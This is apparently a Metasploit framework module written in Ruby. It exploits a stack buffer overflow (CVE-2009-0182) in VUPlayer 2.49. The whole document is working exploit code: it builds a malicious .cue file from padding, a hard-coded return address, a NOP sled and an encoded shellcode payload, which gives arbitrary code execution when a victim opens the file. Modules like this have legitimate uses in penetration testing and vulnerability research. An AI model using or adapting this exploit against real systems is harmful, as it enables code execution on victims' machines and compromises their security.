VUPlayer CUE Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VUPlayer CUE Buffer Overflow',
        'Description' => %q{
          This module exploits a stack based overflow in VUPlayer <= 2.49. When
          the application is used to open a specially crafted cue file, a buffer is overwritten allowing
          for the execution of arbitrary code.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'MC' ],
        'References' => [
          [ 'CVE', '2009-0182' ],
          [ 'OSVDB', '64581'],
          [ 'BID', '33960' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true,
          'AllowWin32SEH' => true
        },
        'Payload' => {
          'Space' => 750,
          'BadChars' => "\x00",
          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
          'DisableNops' => true
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'VUPlayer 2.49', { 'Ret' => 0x1010539f } ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2009-08-18',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.cue']),
      ]
    )
  end

  def exploit
    sploit = rand_text_alpha_upper(1012)
    sploit << [target.ret].pack('V')
    sploit << "\x90" * 12
    sploit << payload.encoded

    cue = "FILE ""\""
    cue << sploit
    cue << ".BIN""\"" + " BINARY\r\n"
    cue << "TRACK 01 MODE1/22352\r\n"
    cue << "INDEX 01 00:00:00\r\n"

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(cue)
  end
end